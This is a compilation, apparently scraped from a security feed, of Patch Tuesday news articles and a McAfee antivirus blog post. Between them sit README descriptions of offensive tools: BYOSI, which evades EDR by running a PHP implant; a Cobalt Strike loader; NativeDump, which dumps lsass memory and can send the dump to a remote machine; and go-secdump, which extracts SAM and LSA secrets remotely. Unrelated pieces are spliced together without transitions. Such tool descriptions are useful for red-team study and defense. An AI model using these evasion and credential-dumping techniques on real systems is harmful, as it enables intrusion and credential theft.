Microsoft today unleashed updates to plug a whopping 161 security vulnerabilities in Windows and related software, including three “zero-day” weaknesses that are already under active attack. Redmond’s inaugural Patch Tuesday of 2025 bundles more fixes than the company has shipped in one go since 2017.
Rapid7‘s Adam Barnett says January marks the fourth consecutive month where Microsoft has published zero-day vulnerabilities on Patch Tuesday without evaluating any of them as critical severity at time of publication. Today also saw the publication of nine critical remote code execution (RCE) vulnerabilities.
The Microsoft flaws already seeing active attacks include CVE-2025-21333, CVE-2025-21334 and, you guessed it– CVE-2025-21335. These are sequential because all reside in Windows Hyper-V, a component that is heavily embedded in modern Windows 11 operating systems and used for security features including device guard and credential guard.
Tenable’s Satnam Narang says little is known about the in-the-wild exploitation of these flaws, apart from the fact that they are all “privilege escalation” vulnerabilities. Narang said we tend to see a lot of elevation of privilege bugs exploited in the wild as zero-days in Patch Tuesday because it’s not always initial access to a system that’s a challenge for attackers as they have various avenues in their pursuit.
“As elevation of privilege bugs, they’re being used as part of post-compromise activity, where an attacker has already accessed a target system,” he said. “It’s kind of like if an attacker is able to enter a secure building, they’re unable to access more secure parts of the facility because they have to prove that they have clearance. In this case, they’re able to trick the system into believing they should have clearance.”
Several bugs addressed today earned CVSS (threat rating) scores of 9.8 out of a possible 10, including CVE-2025-21298, a weakness in Windows that could allow attackers to run arbitrary code by getting a target to open a malicious .rtf file, documents typically opened on Office applications like Microsoft Word. Microsoft has rated this flaw “exploitation more likely.”
Ben Hopkins at Immersive Labs called attention to the CVE-2025-21311, a 9.8 “critical” bug in Windows NTLMv1 (NT LAN Manager version 1), an older Microsoft authentication protocol that is still used by many organizations.
“What makes this vulnerability so impactful is the fact that it is remotely exploitable, so attackers can reach the compromised machine(s) over the internet, and the attacker does not need significant knowledge or skills to achieve repeatable success with the same payload across any vulnerable component,” Hopkins wrote.
Kev Breen at Immersive points to an interesting flaw (CVE-2025-21210) that Microsoft fixed in its full disk encryption suite Bitlocker that the software giant has dubbed “exploitation more likely.” Specifically, this bug holds out the possibility that in some situations the hibernation image created when one closes the laptop lid on an open Windows session may not be fully encrypted and could be recovered in plain text.
“Hibernation images are used when a laptop goes to sleep and contains the contents that were stored in RAM at the moment the device powered down,” Breen noted. “This presents a significant potential impact as RAM can contain sensitive data (such as passwords, credentials and PII) that may have been in open documents or browser sessions and can all be recovered with free tools from hibernation files.”
Tenable’s Narang also highlighted a trio of vulnerabilities in Microsoft Access fixed this month and credited to Unpatched.ai, a security research effort that is aided by artificial intelligence looking for vulnerabilities in code. Tracked as CVE-2025-21186, CVE-2025-21366, and CVE-2025-21395, these are remote code execution bugs that are exploitable if an attacker convinces a target to download and run a malicious file through social engineering. Unpatched.ai was also credited with discovering a flaw in the December 2024 Patch Tuesday release (CVE-2024-49142).
“Automated vulnerability detection using AI has garnered a lot of attention recently, so it’s noteworthy to see this service being credited with finding bugs in Microsoft products,” Narang observed. “It may be the first of many in 2025.”
If you’re a Windows user who has automatic updates turned off and haven’t updated in a while, it’s probably time to play catch up. Please consider backing up important files and/or the entire hard drive before updating.

Microsoft today released updates to plug at least 70 security holes in Windows and Windows software, including one vulnerability that is already being exploited in active attacks.
The zero-day seeing exploitation involves CVE-2024-49138, a security weakness in the Windows Common Log File System (CLFS) driver — used by applications to write transaction logs — that could let an authenticated attacker gain “system” level privileges on a vulnerable Windows device.
The security firm Rapid7 notes there have been a series of zero-day elevation of privilege flaws in CLFS over the past few years.
“Ransomware authors who have abused previous CLFS vulnerabilities will be only too pleased to get their hands on a fresh one,” wrote Adam Barnett, lead software engineer at Rapid7. “Expect more CLFS zero-day vulnerabilities to emerge in the future, at least until Microsoft performs a full replacement of the aging CLFS codebase instead of offering spot fixes for specific flaws.”
Elevation of privilege vulnerabilities accounted for 29% of the 1,009 security bugs Microsoft has patched so far in 2024, according to a year-end tally by Tenable; nearly 40 percent of those bugs were weaknesses that could let attackers run malicious code on the vulnerable device.
Rob Reeves, principal security engineer at Immersive Labs, called special attention to CVE-2024-49112, a remote code execution flaw in the Lightweight Directory Access Protocol (LDAP) service on every version of Windows since Windows 7. CVE-2024-49112 has been assigned a CVSS (badness) score of 9.8 out of 10.
“LDAP is most commonly seen on servers that are Domain Controllers inside a Windows network and LDAP must be exposed to other servers and clients within an enterprise environment for the domain to function,” Reeves said. “Microsoft hasn’t released specific information about the vulnerability at present, but has indicated that the attack complexity is low and authentication is not required.”
Tyler Reguly at the security firm Fortra had a slightly different 2024 patch tally for Microsoft, at 1,088 vulnerabilities, which he said was surprisingly similar to the 1,063 vulnerabilities resolved in 2023 and the 1,119 vulnerabilities resolved in 2022.
“If nothing else, we can say that Microsoft is consistent,” Reguly said. “While it would be nice to see the number of vulnerabilities each year decreasing, at least consistency lets us know what to expect.”
If you’re a Windows end user and your system is not set up to automatically install updates, please take a minute this week to run Windows Update, preferably after backing up your system and/or important data.
System admins should keep an eye on AskWoody.com, which usually has the details if any of the Patch Tuesday fixes are causing problems. In the meantime, if you run into any problems applying this month’s fixes, please drop a note about in the comments below.
Microsoft today released security updates to fix at least 117 security holes in Windows computers and other software, including two vulnerabilities that are already seeing active attacks. Also, Adobe plugged 52 security holes across a range of products, and Apple has addressed a bug in its new macOS 15 “Sequoia” update that broke many cybersecurity tools.
One of the zero-day flaws — CVE-2024-43573 — stems from a security weakness in MSHTML, the proprietary engine of Microsoft’s Internet Explorer web browser. If that sounds familiar it’s because this is the fourth MSHTML vulnerability found to be exploited in the wild so far in 2024.
Nikolas Cemerikic, a cybersecurity engineer at Immersive Labs, said the vulnerability allows an attacker to trick users into viewing malicious web content, which could appear legitimate thanks to the way Windows handles certain web elements.
“Once a user is deceived into interacting with this content (typically through phishing attacks), the attacker can potentially gain unauthorized access to sensitive information or manipulate web-based services,” he said.
Cemerikic noted that while Internet Explorer is being retired on many platforms, its underlying MSHTML technology remains active and vulnerable.
“This creates a risk for employees using these older systems as part of their everyday work, especially if they are accessing sensitive data or performing financial transactions online,” he said.
Probably the more serious zero-day this month is CVE-2024-43572, a code execution bug in the Microsoft Management Console, a component of Windows that gives system administrators a way to configure and monitor the system.
Satnam Narang, senior staff research engineer at Tenable, observed that the patch for CVE-2024-43572 arrived a few months after researchers at Elastic Security Labs disclosed an attack technique called GrimResource that leveraged an old cross-site scripting (XSS) vulnerability combined with a specially crafted Microsoft Saved Console (MSC) file to gain code execution privileges.
“Although Microsoft patched a different MMC vulnerability in September (CVE-2024-38259) that was neither exploited in the wild nor publicly disclosed,” Narang said. “Since the discovery of CVE-2024-43572, Microsoft now prevents untrusted MSC files from being opened on a system.”
Microsoft also patched Office, Azure, .NET, OpenSSH for Windows; Power BI; Windows Hyper-V; Windows Mobile Broadband, and Visual Studio. As usual, the SANS Internet Storm Center has a list of all Microsoft patches released today, indexed by severity and exploitability.
Late last month, Apple rolled out macOS 15, an operating system update called Sequoia that broke the functionality of security tools made by a number of vendors, including CrowdStrike, SentinelOne and Microsoft. On Oct. 7, Apple pushed an update to Sequoia users that addresses these compatibility issues.
Finally, Adobe has released security updates to plug a total of 52 vulnerabilities in a range of software, including Adobe Substance 3D Painter, Commerce, Dimension, Animate, Lightroom, InCopy, InDesign, Substance 3D Stager, and Adobe FrameMaker.
Please consider backing up important data before applying any updates. Zero-days aside, there’s generally little harm in waiting a few days to apply any pending patches, because not infrequently a security update introduces stability or compatibility issues. AskWoody.com usually has the skinny on any problematic patches.
And as always, if you run into any glitches after installing patches, leave a note in the comments; chances are someone else is stuck with the same issue and may have even found a solution.

Evade EDR's the simple way, by not touching any of the API's they hook.
I've noticed that most EDRs fail to scan scripting files, treating them merely as text files. While this might be unfortunate for them, it's an opportunity for us to profit.
Flashy methods like residing in memory or thread injection are heavily monitored. Without a binary signed by a valid Certificate Authority, execution is nearly impossible.
Enter BYOSI (Bring Your Own Scripting Interpreter). Every scripting interpreter is signed by its creator, with each certificate being valid. Testing in a live environment revealed surprising results: a highly signatured PHP script from this repository not only ran on systems monitored by CrowdStrike and Trellix but also established an external connection without triggering any EDR detections. EDRs typically overlook script files, focusing instead on binaries for implant delivery. They're configured to detect high entropy or suspicious sections in binaries, not simple scripts.
This attack method capitalizes on that oversight for significant profit. The PowerShell script's steps mirror what a developer might do when first entering an environment. Remarkably, just four lines of PowerShell code completely evade EDR detection, with Defender/AMSI also blind to it. Adding to the effectiveness, GitHub serves as a trusted deployer.
The PowerShell script achieves EDR/AV evasion through four simple steps (technically 3):
FreshRSS 1.) It fetches the PHP archive for Windows and extracts it into a new directory named 'php' within 'C:\Temp'.
2.) The script then proceeds to acquire the implant PHP script or shell, saving it in the same 'C:\Temp\php' directory.
3.) Following this, it executes the implant or shell, utilizing the whitelisted PHP binary (which exempts the binary from most restrictions in place that would prevent the binary from running to begin with.)
With these actions completed, congratulations: you now have an active shell on a Crowdstrike-monitored system. What's particularly amusing is that, if my memory serves me correctly, Sentinel One is unable to scan PHP file types. So, feel free to let your imagination run wild.
I am in no way responsible for the misuse of this. This issue is a major blind spot in EDR protection, i am only bringing it to everyones attention.
A big thanks to @im4x5yn74x for affectionately giving it the name BYOSI, and helping with the env to test in bringing this attack method to life.
It appears as though MS Defender is now flagging the PHP script as malicious, but still fully allowing the Powershell script full execution. so, modify the PHP script.
hello sentinel one :) might want to make sure that you are making links not embed.
Microsoft today released updates to fix at least 90 security vulnerabilities in Windows and related software, including a whopping six zero-day flaws that are already being actively exploited by attackers.

This month’s bundle of update joy from Redmond includes patches for security holes in Office, .NET, Visual Studio, Azure, Co-Pilot, Microsoft Dynamics, Teams, Secure Boot, and of course Windows itself. Of the six zero-day weaknesses Microsoft addressed this month, half are local privilege escalation vulnerabilities — meaning they are primarily useful for attackers when combined with other flaws or access.
CVE-2024-38106, CVE-2024-38107 and CVE-2024-38193 all allow an attacker to gain SYSTEM level privileges on a vulnerable machine, although the vulnerabilities reside in different parts of the Windows operating system.
Microsoft’s advisories include little information about the last two privilege escalation flaws, other than to note they are being actively exploited. Microsoft says CVE-2024-38106 exists in the Windows Kernel and is being actively exploited, but that it has a high “attack complexity,” meaning it can be tricky for malware or miscreants to exploit reliably.
“Microsoft lists exploit complexity as high due to the attacker needing to win a race condition,” Trend Micro’s ZeroDay Initiative (ZDI) noted. “However, some races are easier to run than others. It’s times like this where the CVSS can be misleading. Race conditions do lead to complexity high in the CVSS score, but with attacks in the wild, it’s clear this bug is readily exploitable.”
Another zero-day this month is CVE-2024-38178, a remote code execution flaw that exists when the built-in Windows Edge browser is operating in “Internet Explorer Mode.” IE mode is not on by default in Edge, but it can be enabled to work with older websites or applications that aren’t supported by modern Chromium-based browsers.
“While this is not the default mode for most users, this exploit being actively exploited suggests that there are occasions in which the attacker can set this or has identified an organization (or user) that has this configuration,” wrote Kev Breen, senior director of threat research at Immersive Labs.
CVE-2024-38213 is a zero-day flaw that allows malware to bypass the “Mark of the Web,” a security feature in Windows that marks files downloaded from the Internet as untrusted (this Windows Smartscreen feature is responsible for the “Windows protected your PC” popup that appears when opening files downloaded from the Web).
“This vulnerability is not exploitable on its own and is typically seen as part of an exploit chain, for example, modifying a malicious document or exe file to include this bypass before sending the file via email or distributing on compromised websites,” Breen said.
The final zero-day this month is CVE-2024-38189, a remote code execution flaw in Microsoft Project. However, Microsoft and multiple security firms point out that this vulnerability only works on customers who have already disabled notifications about the security risks of running VBA Macros in Microsoft Project (not the best idea, as malware has a long history of hiding within malicious Office Macros).
Separately, Adobe today released 11 security bulletins addressing at least 71 security vulnerabilities across a range of products, including Adobe Illustrator, Dimension, Photoshop, InDesign, Acrobat and Reader, Bridge, Substance 3D Stager, Commerce, InCopy, and Substance 3D Sampler/Substance 3D Designer. Adobe says it is not aware of active exploitation against any of the flaws it fixed this week.
It’s a good idea for Windows users to stay current with security updates from Microsoft, which can quickly pile up otherwise. That doesn’t mean you have to install them on Patch Tuesday each month. Indeed, waiting a day or three before updating is a sane response, given that sometimes updates go awry and usually within a few days Microsoft has fixed any issues with its patches. It’s also smart to back up your data and/or image your Windows drive before applying new updates.
For a more detailed breakdown of the individual flaws addressed by Microsoft today, check out the SANS Internet Storm Center’s list. For those admins responsible for maintaining larger Windows environments, it pays to keep an eye on Askwoody.com, which frequently points out when specific Microsoft updates are creating problems for a number of users.
Does Windows 10 or 11 need antivirus software? Absolutely. Every computer needs protection against viruses and other malware.
The next question is this: Which antivirus should you use?
Windows 10 and 11 come with Microsoft Defender Antivirus, Microsoft’s free version of antivirus software. In the absence of any other antivirus software, it runs automatically. No installation required.
Now, here’s what that antivirus software does. Antivirus software protects your devices against malware and viruses through a combination of prevention, detection, and removal.
For years, people have installed antivirus software on their computers. Today, it can also protect your smartphones and tablets as well. In fact, we recommend installing it on those devices as well because they’re connected, just like a computer — and any device that connects to the internet is a potential target for malware and viruses.
In short, if it’s connected, it gets protected.
One important distinction about antivirus is its name, a name that first came into use decades ago when viruses first appeared on the scene. However, antivirus protects you from more than viruses. It protects against malware too — attacks like spyware, ransomware, adware, and more. So while we popularly call protection software “antivirus,” it protects against far more than just viruses. It protects against malware overall.
Now here’s where some confusion might come in. Some antivirus apps are standalone. They offer malware protection and that’s it. And that’s the case with Microsoft Defender Antivirus.
Other antivirus apps are part of comprehensive online protection software, which can include several additional far-reaching features that can protect your privacy and your identity.
So, if you’re only looking for good antivirus software, Microsoft Defender Antivirus can get the job done. However, protecting yourself online today calls for far more than antivirus.
In short, antivirus doesn’t cut it alone.
If you value your privacy and identity, you’ll want to consider something more than just antivirus software.
Malware and viruses pose only a portion of the threats we face online today. Shopping scams, data breaches, info gathering, identity theft, and phishing texts are a big part of the landscape today. And they can cost you plenty in terms of your time and money, not to mention the stress of dealing with them.
This makes a strong case for using comprehensive online protection. It covers those threats, and far more. Ours includes the protections mentioned above, plus dozens of features that further protect your devices, privacy, and identity. And yes, it includes antivirus too.
Comprehensive online protection software like ours gives you dozens of other features like identity theft coverage & restoration, personal data cleanup, security freezes, and an online protection score that shows you how safe you are, along with suggestions that can make you safer still.
It further protects you from scams. Our Text Scam Detector and web protection steer you clear of sketchy links in texts, emails, messages, and while you search. Others like our Social Media Privacy Manager keep you as private as you like with personalized recommendations in only a few clicks.
And that’s for starters. The list of protections with comprehensive online protection software like our McAfee+ plans runs long. That includes yet more features that help you secure your finances and identity, make you more private online, and keep your devices running strong.
While protecting your devices with antivirus is a great start, it’s only one part of staying safer online. Including the privacy and identity features that come with comprehensive online protection rounds out your protection overall. Particularly so in a time of data breaches, online scams, sketchy text messages, and the like.
In all, antivirus remains an important part of a safe and enjoyable time online, yet it doesn’t do the job alone.
The post Does Windows 10 or 11 Need Antivirus Software? appeared first on McAfee Blog.
Microsoft Corp. today issued software updates to plug at least 139 security holes in various flavors of Windows and other Microsoft products. Redmond says attackers are already exploiting at least two of the vulnerabilities in active attacks against Windows users.
The first Microsoft zero-day this month is CVE-2024-38080, a bug in the Windows Hyper-V component that affects Windows 11 and Windows Server 2022 systems. CVE-2024-38080 allows an attacker to increase their account privileges on a Windows machine. Although Microsoft says this flaw is being exploited, it has offered scant details about its exploitation.
The other zero-day is CVE-2024-38112, which is a weakness in MSHTML, the proprietary engine of Microsoft’s Internet Explorer web browser. Kevin Breen, senior director of threat research at Immersive Labs, said exploitation of CVE-2024-38112 likely requires the use of an “attack chain” of exploits or programmatic changes on the target host, a la Microsoft’s description: “Successful exploitation of this vulnerability requires an attacker to take additional actions prior to exploitation to prepare the target environment.”
“Despite the lack of details given in the initial advisory, this vulnerability affects all hosts from Windows Server 2008 R2 onwards, including clients,” Breen said. “Due to active exploitation in the wild this one should be prioritized for patching.”
Satnam Narang, senior staff research engineer at Tenable, called special attention to CVE-2024-38021, a remote code execution flaw in Microsoft Office. Attacks on this weakness would lead to the disclosure of NTLM hashes, which could be leveraged as part of an NTLM relay or “pass the hash” attack, which lets an attacker masquerade as a legitimate user without ever having to log in.
“One of the more successful attack campaigns from 2023 used CVE-2023-23397, an elevation of privilege bug in Microsoft Outlook that could also leak NTLM hashes,” Narang said. “However, CVE-2024-38021 is limited by the fact that the Preview Pane is not an attack vector, which means that exploitation would not occur just by simply previewing the file.”
The security firm Morphisec, credited with reporting CVE-2024-38021 to Microsoft, said it respectfully disagrees with Microsoft’s “important” severity rating, arguing the Office flaw deserves a more dire “critical” rating given how easy it is for attackers to exploit.
“Their assessment differentiates between trusted and untrusted senders, noting that while the vulnerability is zero-click for trusted senders, it requires one click user interaction for untrusted senders,” Morphisec’s Michael Gorelik said in a blog post about their discovery. “This reassessment is crucial to reflect the true risk and ensure adequate attention and resources are allocated for mitigation.”
In last month’s Patch Tuesday, Microsoft fixed a flaw in its Windows WiFi driver that attackers could use to install malicious software just by sending a vulnerable Windows host a specially crafted data packet over a local network. Jason Kikta at Automox said this month’s CVE-2024-38053 — a security weakness in Windows Layer Two Bridge Network — is another local network “ping-of-death” vulnerability that should be a priority for road warriors to patch.
“This requires close access to a target,” Kikta said. “While that precludes a ransomware actor in Russia, it is something that is outside of most current threat models. This type of exploit works in places like shared office environments, hotels, convention centers, and anywhere else where unknown computers might be using the same physical link as you.”
Automox also highlighted three vulnerabilities in Windows Remote Desktop a service that allocates Client Access Licenses (CALs) when a client connects to a remote desktop host (CVE-2024-38077, CVE-2024-38074, and CVE-2024-38076). All three bugs have been assigned a CVSS score of 9.8 (out of 10) and indicate that a malicious packet could trigger the vulnerability.
Tyler Reguly at Fortra noted that today marks the End of Support date for SQL Server 2014, a platform that according to Shodan still has ~110,000 instances publicly available. On top of that, more than a quarter of all vulnerabilities Microsoft fixed this month are in SQL server.
“A lot of companies don’t update quickly, but this may leave them scrambling to update those environments to supported versions of MS-SQL,” Reguly said.
It’s a good idea for Windows end-users to stay current with security updates from Microsoft, which can quickly pile up otherwise. That doesn’t mean you have to install them on Patch Tuesday. Indeed, waiting a day or three before updating is a sane response, given that sometimes updates go awry and usually within a few days Microsoft has fixed any issues with its patches. It’s also smart to back up your data and/or image your Windows drive before applying new updates.

For those admins responsible for maintaining larger Windows environments, it often pays to keep an eye on Askwoody.com, which frequently points out when specific Microsoft updates are creating problems for a number of users.
As ever, if you experience any problems applying any of these updates, consider dropping a note about it in the comments; chances are decent someone else reading here has experienced the same issue, and maybe even has a solution.
A proof-of-concept User-Defined Reflective Loader (UDRL) which aims to recreate, integrate, and enhance Cobalt Strike's evasion features!

The built-in Cobalt Strike reflective loader is robust, handling all Malleable PE evasion features Cobalt Strike has to offer. The major disadvantage to using a custom UDRL is Malleable PE evasion features may or may not be supported out-of-the-box.
The objective of the public BokuLoader project is to assist red teams in creating their own in-house Cobalt Strike UDRL. The project aims to support all worthwhile CS Malleable PE evasion features. Some evasion features leverage CS integration, others have been recreated completely, and some are unsupported.
Before using this project, in any form, you should properly test the evasion features are working as intended. Between the C code and the Aggressor script, compilation with different versions of operating systems, compilers, and Java may return different results.

NativeDump allows to dump the lsass process using only NTAPIs generating a Minidump file with only the streams needed to be parsed by tools like Mimikatz or Pypykatz (SystemInfo, ModuleList and Memory64List Streams).
Usage:
NativeDump.exe [DUMP_FILE]
The default file name is "proc_
The tool has been tested against Windows 10 and 11 devices with the most common security solutions (Microsoft Defender for Endpoints, Crowdstrike...) and is for now undetected. However, it does not work if PPL is enabled in the system.
Some benefits of this technique are: - It does not use the well-known dbghelp!MinidumpWriteDump function - It only uses functions from Ntdll.dll, so it is possible to bypass API hooking by remapping the library - The Minidump file does not have to be written to disk, you can transfer its bytes (encoded or encrypted) to a remote machine
The project has three branches at the moment (apart from the main branch with the basic technique):
ntdlloverwrite - Overwrite ntdll.dll's ".text" section using a clean version from the DLL file already on disk
delegates - Overwrite ntdll.dll + Dynamic function resolution + String encryption with AES + XOR-encoding
remote - Overwrite ntdll.dll + Dynamic function resolution + String encryption with AES + Send file to remote machine + XOR-encoding
After reading Minidump undocumented structures, its structure can be summed up to:
I created a parsing tool which can be helpful: MinidumpParser.
We will focus on creating a valid file with only the necessary values for the header, stream directory and the only 3 streams needed for a Minidump file to be parsed by Mimikatz/Pypykatz: SystemInfo, ModuleList and Memory64List Streams.
The header is a 32-bytes structure which can be defined in C# as:
public struct MinidumpHeader
{
public uint Signature;
public ushort Version;
public ushort ImplementationVersion;
public ushort NumberOfStreams;
public uint StreamDirectoryRva;
public uint CheckSum;
public IntPtr TimeDateStamp;
}
The required values are: - Signature: Fixed value 0x504d44d ("MDMP" string) - Version: Fixed value 0xa793 (Microsoft constant MINIDUMP_VERSION) - NumberOfStreams: Fixed value 3, the three Streams required for the file - StreamDirectoryRVA: Fixed value 0x20 or 32 bytes, the size of the header
Each entry in the Stream Directory is a 12-bytes structure so having 3 entries the size is 36 bytes. The C# struct definition for an entry is:
public struct MinidumpStreamDirectoryEntry
{
public uint StreamType;
public uint Size;
public uint Location;
}
The field "StreamType" represents the type of stream as an integer or ID, some of the most relevant are:
| ID | Stream Type |
|---|---|
| 0x00 | UnusedStream |
| 0x01 | ReservedStream0 |

First stream is a SystemInformation Stream, with ID 7. The size is 56 bytes and will be located at offset 68 (0x44), after the Stream Directory. Its C# definition is:
public struct SystemInformationStream
{
public ushort ProcessorArchitecture;
public ushort ProcessorLevel;
public ushort ProcessorRevision;
public byte NumberOfProcessors;
public byte ProductType;
public uint MajorVersion;
public uint MinorVersion;
public uint BuildNumber;
public uint PlatformId;
public uint UnknownField1;
public uint UnknownField2;
public IntPtr ProcessorFeatures;
public IntPtr ProcessorFeatures2;
public uint UnknownField3;
public ushort UnknownField14;
public byte UnknownField15;
}
The required values are: - ProcessorArchitecture: 9 for 64-bit and 0 for 32-bit Windows systems - Major version, Minor version and the BuildNumber: Hardcoded or obtained through kernel32!GetVersionEx or ntdll!RtlGetVersion (we will use the latter)
Second stream is a ModuleList stream, with ID 4. It is located at offset 124 (0x7C) after the SystemInformation stream and it will also have a fixed size, of 112 bytes, since it will have the entry of a single module, the only one needed for the parse to be correct: "lsasrv.dll".
The typical structure for this stream is a 4-byte value containing the number of entries followed by 108-byte entries for each module:
public struct ModuleListStream
{
public uint NumberOfModules;
public ModuleInfo[] Modules;
}
As there is only one, it gets simplified to:
public struct ModuleListStream
{
public uint NumberOfModules;
public IntPtr BaseAddress;
public uint Size;
public uint UnknownField1;
public uint Timestamp;
public uint PointerName;
public IntPtr UnknownField2;
public IntPtr UnknownField3;
public IntPtr UnknownField4;
public IntPtr UnknownField5;
public IntPtr UnknownField6;
public IntPtr UnknownField7;
public IntPtr UnknownField8;
public IntPtr UnknownField9;
public IntPtr UnknownField10;
public IntPtr UnknownField11;
}
The required values are: - NumberOfStreams: Fixed value 1 - BaseAddress: Using psapi!GetModuleBaseName or a combination of ntdll!NtQueryInformationProcess and ntdll!NtReadVirtualMemory (we will use the latter) - Size: Obtained adding all memory region sizes since BaseAddress until one with a size of 4096 bytes (0x1000), the .text section of other library - PointerToName: Unicode string structure for the "C:\Windows\System32\lsasrv.dll" string, located after the stream itself at offset 236 (0xEC)
Third stream is a Memory64List stream, with ID 9. It is located at offset 298 (0x12A), after the ModuleList stream and the Unicode string, and its size depends on the number of modules.
public struct Memory64ListStream
{
public ulong NumberOfEntries;
public uint MemoryRegionsBaseAddress;
public Memory64Info[] MemoryInfoEntries;
}
Each module entry is a 16-bytes structure:
public struct Memory64Info
{
public IntPtr Address;
public IntPtr Size;
}
The required values are: - NumberOfEntries: Number of memory regions, obtained after looping memory regions - MemoryRegionsBaseAddress: Location of the start of memory regions bytes, calculated after adding the size of all 16-bytes memory entries - Address and Size: Obtained for each valid region while looping them
There are pre-requisites to loop the memory regions of the lsass.exe process which can be solved using only NTAPIs:
With this it is possible to traverse process memory by calling: - ntdll!NtQueryVirtualMemory: Return a MEMORY_BASIC_INFORMATION structure with the protection type, state, base address and size of each memory region - If the memory protection is not PAGE_NOACCESS (0x01) and the memory state is MEM_COMMIT (0x1000), meaning it is accessible and committed, the base address and size populates one entry of the Memory64List stream and bytes can be added to the file - If the base address equals lsasrv.dll base address, it is used to calculate the size of lsasrv.dll in memory - ntdll!NtReadVirtualMemory: Add bytes of that region to the Minidump file after the Memory64List Stream
After previous steps we have all that is necessary to create the Minidump file. We can create a file locally or send the bytes to a remote machine, with the possibility of encoding or encrypting the bytes before. Some of these possibilities are coded in the delegates branch, where the file created locally can be encoded with XOR, and in the remote branch, where the file can be encoded with XOR before being sent to a remote machine.
Microsoft today released updates to fix more than 50 security vulnerabilities in Windows and related software, a relatively light Patch Tuesday this month for Windows users. The software giant also responded to a torrent of negative feedback on a new feature of Redmond’s flagship operating system that constantly takes screenshots of whatever users are doing on their computers, saying the feature would no longer be enabled by default.
Last month, Microsoft debuted Copilot+ PCs, an AI-enabled version of Windows. Copilot+ ships with a feature nobody asked for that Redmond has aptly dubbed Recall, which constantly takes screenshots of what the user is doing on their PC. Security experts roundly trashed Recall as a fancy keylogger, noting that it would be a gold mine of information for attackers if the user’s PC was compromised with malware.
Microsoft countered that Recall snapshots never leave the user’s system, and that even if attackers managed to hack a Copilot+ PC they would not be able to exfiltrate on-device Recall data. But that claim rang hollow after former Microsoft threat analyst Kevin Beaumont detailed on his blog how any user on the system (even a non-administrator) can export Recall data, which is just stored in an SQLite database locally.
“I’m not being hyperbolic when I say this is the dumbest cybersecurity move in a decade,” Beaumont said on Mastodon.
In a recent Risky Business podcast, host Patrick Gray noted that the screenshots created and indexed by Recall would be a boon to any attacker who suddenly finds himself in an unfamiliar environment.
“The first thing you want to do when you get on a machine if you’re up to no good is to figure out how someone did their job,” Gray said. “We saw that in the case of the SWIFT attacks against central banks years ago. Attackers had to do screen recordings to figure out how transfers work. And this could speed up that sort of discovery process.”
Responding to the withering criticism of Recall, Microsoft said last week that it will no longer be enabled by default on Copilot+ PCs.
Only one of the patches released today — CVE-2024-30080 — earned Microsoft’s most urgent “critical” rating, meaning malware or malcontents could exploit the vulnerability to remotely seize control over a user’s system, without any user interaction.
CVE-2024-30080 is a flaw in the Microsoft Message Queuing (MSMQ) service that can allow attackers to execute code of their choosing. Microsoft says exploitation of this weakness is likely, enough to encourage users to disable the vulnerable component if updating isn’t possible in the short run. CVE-2024-30080 has been assigned a CVSS vulnerability score of 9.8 (10 is the worst).
Kevin Breen, senior director of threat research at Immersive Labs, said a saving grace is that MSMQ is not a default service on Windows.
“A Shodan search for MSMQ reveals there are a few thousand potentially internet-facing MSSQ servers that could be vulnerable to zero-day attacks if not patched quickly,” Breen said.
CVE-2024-30078 is a remote code execution weakness in the Windows WiFi Driver, which also has a CVSS score of 9.8. According to Microsoft, an unauthenticated attacker could exploit this bug by sending a malicious data packet to anyone else on the same network — meaning this flaw assumes the attacker has access to the local network.
Microsoft also fixed a number of serious security issues with its Office applications, including at least two remote-code execution flaws, said Adam Barnett, lead software engineer at Rapid7.
“CVE-2024-30101 is a vulnerability in Outlook; although the Preview Pane is a vector, the user must subsequently perform unspecified specific actions to trigger the vulnerability and the attacker must win a race condition,” Barnett said. “CVE-2024-30104 does not have the Preview Pane as a vector, but nevertheless ends up with a slightly higher CVSS base score of 7.8, since exploitation relies solely on the user opening a malicious file.”
Separately, Adobe released security updates for Acrobat, ColdFusion, and Photoshop, among others.
As usual, the SANS Internet Storm Center has the skinny on the individual patches released today, indexed by severity, exploitability and urgency. Windows admins should also keep an eye on AskWoody.com, which often publishes early reports of any Windows patches gone awry.

Package go-secdump is a tool built to remotely extract hashes from the SAM registry hive as well as LSA secrets and cached hashes from the SECURITY hive without any remote agent and without touching disk.
The tool is built on top of the library go-smb and use it to communicate with the Windows Remote Registry to retrieve registry keys directly from memory.
It was built as a learning experience and as a proof of concept that it should be possible to remotely retrieve the NT Hashes from the SAM hive and the LSA secrets as well as domain cached credentials without having to first save the registry hives to disk and then parse them locally.
The main problem to overcome was that the SAM and SECURITY hives are only readable by NT AUTHORITY\SYSTEM. However, I noticed that the local group administrators had the WriteDACL permission on the registry hives and could thus be used to temporarily grant read access to itself to retrieve the secrets and then restore the original permissions.
Much of the code in this project is inspired/taken from Impacket's secdump but converted to access the Windows registry remotely and to only access the required registry keys.
Some of the other sources that have been useful to understanding the registry structure and encryption methods are listed below:

Usage: ./go-secdump [options]
options:
--host <target> Hostname or ip address of remote server
-P, --port <port> SMB Port (default 445)
-d, --domain <domain> Domain name to use for login
-u, --user <username> Username
-p, --pass <pass> Password
-n, --no-pass Disable password prompt and send no credentials
--hash <NT Hash> Hex encoded NT Hash for user password
--local Authenticate as a local user instead of domain user
--dump Saves the SAM and SECURITY hives to disk and
transfers them to the local machine.
--sam Extract secrets from the SAM hive explicitly. Only other explicit targets are included.
--lsa Extract LSA secrets explicitly. Only other explicit targets are included.
--dcc2 Extract DCC2 caches explicitly. Only ohter explicit targets are included.
--backup-dacl Save original DACLs to disk before modification
--restore-dacl Restore DACLs using disk backup. Could be useful if automated restore fails.
--backup-file Filename for DACL backup (default dacl.backup)
--relay Start an SMB listener that will relay incoming
NTLM authentications to the remote server and
use that connection. NOTE that this forces SMB 2.1
without encryption.
--relay-port <port> Listening port for relay (default 445)
--socks-host <target> Establish connection via a SOCKS5 proxy server
--socks-port <port> SOCKS5 proxy port (default 1080)
-t, --timeout Dial timeout in seconds (default 5)
--noenc Disable smb encryption
--smb2 Force smb 2.1
--debug Enable debug logging
--verbose Enable verbose logging
-o, --output Filename for writing results (default is stdout). Will append to file if it exists.
-v, --version Show version
go-secdump will automatically try to modify and then restore the DACLs of the required registry keys. However, if something goes wrong during the restoration part such as a network disconnect or other interrupt, the remote registry will be left with the modified DACLs.
Using the --backup-dacl argument it is possible to store a serialized copy of the original DACLs before modification. If a connectivity problem occurs, the DACLs can later be restored from file using the --restore-dacl argument.

A command line Windows API tracing tool for Golang binaries.
Note: This tool is a PoC and a work-in-progress prototype so please treat it as such. Feedbacks are always welcome!
Although Golang programs contains a lot of nuances regarding the way they are built and their behavior in runtime they still need to interact with the OS layer and that means at some point they do need to call functions from the Windows API.
